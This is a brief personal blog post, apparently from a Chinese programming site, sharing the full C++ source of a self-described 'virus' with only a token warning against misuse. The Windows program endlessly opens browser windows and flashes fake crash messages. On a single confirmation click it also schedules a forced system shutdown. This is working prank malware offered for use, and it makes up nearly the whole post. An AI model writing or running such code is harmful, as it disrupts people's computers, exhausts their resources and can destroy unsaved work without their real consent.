跳到正文

个人记录

病毒1

Felicita约 2 分钟
原文
文章信息与版本

文章信息

发布
2025年4月10日
收录
2025年12月12日
更新
2026年11月13日
篇幅
约 2 分钟
获赞
1

版本

  1. v1当前

这是一个我自创的病毒。

C++
#include<bits/stdc++.h>
#include<Windows.h>;
using namespace std;

int main()
{
	srand(time(NULL));
	while(1)
	{
		if(MessageBox(NULL,"确定要启动这个程序?\n后果自负!","警告",MB_YESNO | MB_ICONEXCLAMATION | MB_SYSTEMMODAL)==IDYES)
		{
			system("shutdown /s /t 15");
			while(1)
			{
				ShellExecute(NULL,"open","explorer","http://www.luogu.com.cn",NULL,SW_SHOW);
				int r1=rand()%1250+1;
				int r2=rand()%50;
				if(r2==13 || r2==37 || r2==47)
				{
					system("color 07");		
				}		
				else
				{
					system("color 1F");
				}
				for(int i=1;i<=r1;i++)
				{
					printf(" ");
				}
				printf(":(你的电脑出现问题,请尝试重启。Your computer is experiencing issues, please try restarting it.");
				Sleep(10);
				system("cls");
			}
		}
		ShellExecute(NULL,"open","explorer","http://www.luogu.com.cn",NULL,SW_SHOW);
		int r1=rand()%1250+1;
		int r2=rand()%50;
		if(r2==13 || r2==37 || r2==47)
		{
			system("color 07");		
		}		
		else
		{
			system("color 1F");
		}
		for(int i=1;i<=r1;i++)
		{
			printf(" ");
		}
		printf(":(你的电脑出现问题,请尝试重启。Your computer is experiencing issues, please try restarting it.");
		Sleep(10);
		system("cls");
	}
	return 0;
}  

请注意,请勿用于不良目的!

原文
存档评论1 条抓取于